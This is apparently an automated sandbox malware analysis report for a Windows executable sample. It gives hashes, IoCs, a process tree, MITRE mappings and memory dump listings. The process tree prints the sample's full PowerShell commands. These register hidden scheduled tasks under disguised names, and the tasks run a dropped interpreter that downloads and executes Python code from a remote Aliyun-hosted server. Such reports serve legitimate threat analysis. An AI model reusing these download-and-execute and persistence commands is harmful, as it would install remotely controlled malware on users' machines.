bd8dc7e3909f6663c0fff653d7afbca2b89f2e9bc6f27adaab27f640ccf52975

Analysis

max time kernel
149s
max time network
153s
platform
windows7_x64
resource
win7v20210408
submitted
12/07/2021, 07:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bd8dc7e3909f6663c0fff653d7afbca2b89f2e9bc6f27adaab27f640ccf52975.exe
Size 4.8MB
Sample210712-ms87kppg5x
SHA256 bd8dc7e3909f6663c0fff653d7afbca2b89f2e9bc6f27adaab27f640ccf52975
MD5 7821523bf11c6c2d58eac3f4efbf4bfc
SHA1 17cf951eb1427eed0137cd429cc267c660d03acd
SHA512 fdc60b9be9b7d78a6e06cf91f7631a664726224d43abbc257dbf7be8999111c59d721d1f90b415c0d9aa3f49843d3116cf67d94e36713264316e82834760dc68
MD5 SHA1 SHA512

Score

8^/10

Malware Config

Signatures

Downloads MZ/PE file

Executes dropped EXE 4 IoCs

pid	Process
864	ServiceHub.Host.CLR.exe
524	Silverlight.exe
1700	ServiceHub.Host.CLR.exe
1140	install.exe

Loads dropped DLL 64 IoCs

pid	Process
620	taskeng.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
864	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
524	Silverlight.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe
1700	ServiceHub.Host.CLR.exe

GoLang User-Agent 2 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	7	Go-http-client/1.1
HTTP User-Agent header	6	Go-http-client/1.1

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
844	ping.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
856	powershell.exe
856	powershell.exe
340	powershell.exe
340	powershell.exe
676	powershell.exe
676	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1140	install.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	856	powershell.exe
Token: SeDebugPrivilege	340	powershell.exe
Token: 35	864	ServiceHub.Host.CLR.exe
Token: SeDebugPrivilege	676	powershell.exe
Token: 35	1700	ServiceHub.Host.CLR.exe

Suspicious use of WriteProcessMemory 53 IoCs

description	pid	Process	procid_target
PID 1920 wrote to memory of 844	1920	bd8dc7e3909f6663c0fff653d7afbca2b89f2e9bc6f27adaab27f640ccf52975.exe	25
PID 1920 wrote to memory of 844	1920	bd8dc7e3909f6663c0fff653d7afbca2b89f2e9bc6f27adaab27f640ccf52975.exe	25
PID 1920 wrote to memory of 844	1920	bd8dc7e3909f6663c0fff653d7afbca2b89f2e9bc6f27adaab27f640ccf52975.exe	25
PID 1920 wrote to memory of 696	1920	bd8dc7e3909f6663c0fff653d7afbca2b89f2e9bc6f27adaab27f640ccf52975.exe	31
PID 1920 wrote to memory of 696	1920	bd8dc7e3909f6663c0fff653d7afbca2b89f2e9bc6f27adaab27f640ccf52975.exe	31
PID 1920 wrote to memory of 696	1920	bd8dc7e3909f6663c0fff653d7afbca2b89f2e9bc6f27adaab27f640ccf52975.exe	31
PID 696 wrote to memory of 856	696	cmd.exe	33
PID 696 wrote to memory of 856	696	cmd.exe	33
PID 696 wrote to memory of 856	696	cmd.exe	33
PID 696 wrote to memory of 1628	696	cmd.exe	34
PID 696 wrote to memory of 1628	696	cmd.exe	34
PID 696 wrote to memory of 1628	696	cmd.exe	34
PID 1920 wrote to memory of 1088	1920	bd8dc7e3909f6663c0fff653d7afbca2b89f2e9bc6f27adaab27f640ccf52975.exe	36
PID 1920 wrote to memory of 1088	1920	bd8dc7e3909f6663c0fff653d7afbca2b89f2e9bc6f27adaab27f640ccf52975.exe	36
PID 1920 wrote to memory of 1088	1920	bd8dc7e3909f6663c0fff653d7afbca2b89f2e9bc6f27adaab27f640ccf52975.exe	36
PID 1088 wrote to memory of 340	1088	cmd.exe	38
PID 1088 wrote to memory of 340	1088	cmd.exe	38
PID 1088 wrote to memory of 340	1088	cmd.exe	38
PID 620 wrote to memory of 864	620	taskeng.exe	39
PID 620 wrote to memory of 864	620	taskeng.exe	39
PID 620 wrote to memory of 864	620	taskeng.exe	39
PID 1088 wrote to memory of 1736	1088	cmd.exe	40
PID 1088 wrote to memory of 1736	1088	cmd.exe	40
PID 1088 wrote to memory of 1736	1088	cmd.exe	40
PID 1088 wrote to memory of 380	1088	cmd.exe	41
PID 1088 wrote to memory of 380	1088	cmd.exe	41
PID 1088 wrote to memory of 380	1088	cmd.exe	41
PID 620 wrote to memory of 524	620	taskeng.exe	42
PID 620 wrote to memory of 524	620	taskeng.exe	42
PID 620 wrote to memory of 524	620	taskeng.exe	42
PID 620 wrote to memory of 524	620	taskeng.exe	42
PID 620 wrote to memory of 524	620	taskeng.exe	42
PID 620 wrote to memory of 524	620	taskeng.exe	42
PID 620 wrote to memory of 524	620	taskeng.exe	42
PID 1920 wrote to memory of 268	1920	bd8dc7e3909f6663c0fff653d7afbca2b89f2e9bc6f27adaab27f640ccf52975.exe	43
PID 1920 wrote to memory of 268	1920	bd8dc7e3909f6663c0fff653d7afbca2b89f2e9bc6f27adaab27f640ccf52975.exe	43
PID 1920 wrote to memory of 268	1920	bd8dc7e3909f6663c0fff653d7afbca2b89f2e9bc6f27adaab27f640ccf52975.exe	43
PID 268 wrote to memory of 676	268	cmd.exe	45
PID 268 wrote to memory of 676	268	cmd.exe	45
PID 268 wrote to memory of 676	268	cmd.exe	45
PID 268 wrote to memory of 1320	268	cmd.exe	46
PID 268 wrote to memory of 1320	268	cmd.exe	46
PID 268 wrote to memory of 1320	268	cmd.exe	46
PID 620 wrote to memory of 1700	620	taskeng.exe	47
PID 620 wrote to memory of 1700	620	taskeng.exe	47
PID 620 wrote to memory of 1700	620	taskeng.exe	47
PID 524 wrote to memory of 1140	524	Silverlight.exe	48
PID 524 wrote to memory of 1140	524	Silverlight.exe	48
PID 524 wrote to memory of 1140	524	Silverlight.exe	48
PID 524 wrote to memory of 1140	524	Silverlight.exe	48
PID 524 wrote to memory of 1140	524	Silverlight.exe	48
PID 524 wrote to memory of 1140	524	Silverlight.exe	48
PID 524 wrote to memory of 1140	524	Silverlight.exe	48

C:\Users\Admin\AppData\Local\Temp\bd8dc7e3909f6663c0fff653d7afbca2b89f2e9bc6f27adaab27f640ccf52975.exe
"C:\Users\Admin\AppData\Local\Temp\bd8dc7e3909f6663c0fff653d7afbca2b89f2e9bc6f27adaab27f640ccf52975.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1920
- C:\Windows\system32\ping.exe
  ping baidu.com
  2⤵
  - Runs ping.exe
  PID:844
- C:\Windows\system32\cmd.exe
  cmd /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\''http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt\'')).read().decode())'')\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_SETTINGS',$taskdefinition,6,$null,$null,0,$null);&& SCHTASKS /Run /TN SYSTEM_SETTINGS"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:696
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\''http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt\'')).read().decode())'')\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_SETTINGS',$taskdefinition,6,$null,$null,0,$null);
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:856
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN SYSTEM_SETTINGS
    3⤵
    PID:1628
- C:\Windows\system32\cmd.exe
  cmd /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\Silverlight.exe';$action.Arguments = '';$rootFolder.RegisterTaskDefinition('SYSTEM_TEST',$taskdefinition,6,$null,$null,0,$null);&& SCHTASKS /Run /TN SYSTEM_TEST && SCHTASKS /DELETE /F /TN SYSTEM_TEST "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1088
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\Silverlight.exe';$action.Arguments = '';$rootFolder.RegisterTaskDefinition('SYSTEM_TEST',$taskdefinition,6,$null,$null,0,$null);
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:340
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN SYSTEM_TEST
    3⤵
    PID:1736
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /DELETE /F /TN SYSTEM_TEST
    3⤵
    PID:380
- C:\Windows\system32\cmd.exe
  cmd /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\''http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt\'')).read().decode())'')\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_CDAEMON',$taskdefinition,6,$null,$null,0,$null);&& SCHTASKS /Run /TN SYSTEM_CDAEMON"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:268
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $taskdefinition.RegistrationInfo; $settings = $taskdefinition.Settings; $settings.StartWhenAvailable = $true; $taskdefinition.Principal.RunLevel = 1;$settings.Hidden = $false; $settings.StopIfGoingOnBatteries = $false; $settings.DisallowStartIfOnBatteries = $false; $triggers = $taskdefinition.Triggers; $trigger = $triggers.Create(9); $action = $taskdefinition.Actions.Create(0); $action.Path ='C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe';$action.Arguments = '-c \"exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\''http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt\'')).read().decode())'')\" a a';$rootFolder.RegisterTaskDefinition('SYSTEM_CDAEMON',$taskdefinition,6,$null,$null,0,$null);
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:676
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN SYSTEM_CDAEMON
    3⤵
    PID:1320

C:\Windows\system32\taskeng.exe
taskeng.exe {19F23BA2-1BC3-47CE-8672-80C66558DE02} S-1-5-21-2455352368-1077083310-2879168483-1000:QWOCTUPM\Admin:Interactive:[1]
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:620
- C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe
  C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt\')).read().decode())')" a a
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  PID:864
- C:\Users\Public\Silverlight.exe
  C:\Users\Public\Silverlight.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:524
- - \??\c:\ee60b0e0132f8f6684081522d785aa\install.exe
    c:\ee60b0e0132f8f6684081522d785aa\install.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: GetForegroundWindowSpam
    PID:1140
- C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe
  C:\Users\Public\ServiceHub\ServiceHub.Host.CLR.exe -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt\')).read().decode())')" a a
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  PID:1700

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/340-83-0x0000000002440000-0x0000000002441000-memory.dmp

Download

memory/340-81-0x000000001AB40000-0x000000001AB41000-memory.dmp

Download

memory/340-77-0x0000000002030000-0x0000000002031000-memory.dmp

Download

memory/340-146-0x000000001C180000-0x000000001C181000-memory.dmp

Download

memory/340-145-0x0000000002470000-0x0000000002471000-memory.dmp

Download

memory/340-84-0x000000001AAC0000-0x000000001AAC2000-memory.dmp

Download

memory/340-85-0x000000001AAC4000-0x000000001AAC6000-memory.dmp

Download

memory/524-155-0x0000000076691000-0x0000000076693000-memory.dmp

Download

memory/676-156-0x000000001AC80000-0x000000001AC82000-memory.dmp

Download

memory/676-158-0x000000001AC84000-0x000000001AC86000-memory.dmp

Download

memory/676-160-0x000000001C360000-0x000000001C361000-memory.dmp

Download

memory/676-159-0x0000000002580000-0x0000000002581000-memory.dmp

Download

memory/676-157-0x00000000024A0000-0x00000000024A1000-memory.dmp

Download

memory/676-153-0x0000000002360000-0x0000000002361000-memory.dmp

Download

memory/856-68-0x000000001A9B4000-0x000000001A9B6000-memory.dmp

Download

memory/856-69-0x000000001B3A0000-0x000000001B3A1000-memory.dmp

Download

memory/856-64-0x000000001A720000-0x000000001A721000-memory.dmp

Download

memory/856-65-0x000000001AA30000-0x000000001AA31000-memory.dmp

Download

memory/856-63-0x000007FEFBFB1000-0x000007FEFBFB3000-memory.dmp

Download

memory/856-66-0x000000001A7D0000-0x000000001A7D1000-memory.dmp

Download

memory/856-67-0x000000001A9B0000-0x000000001A9B2000-memory.dmp

Download

memory/856-70-0x000000001B6E0000-0x000000001B6E1000-memory.dmp

Download

memory/1140-165-0x0000000000140000-0x000000000017B000-memory.dmp

Download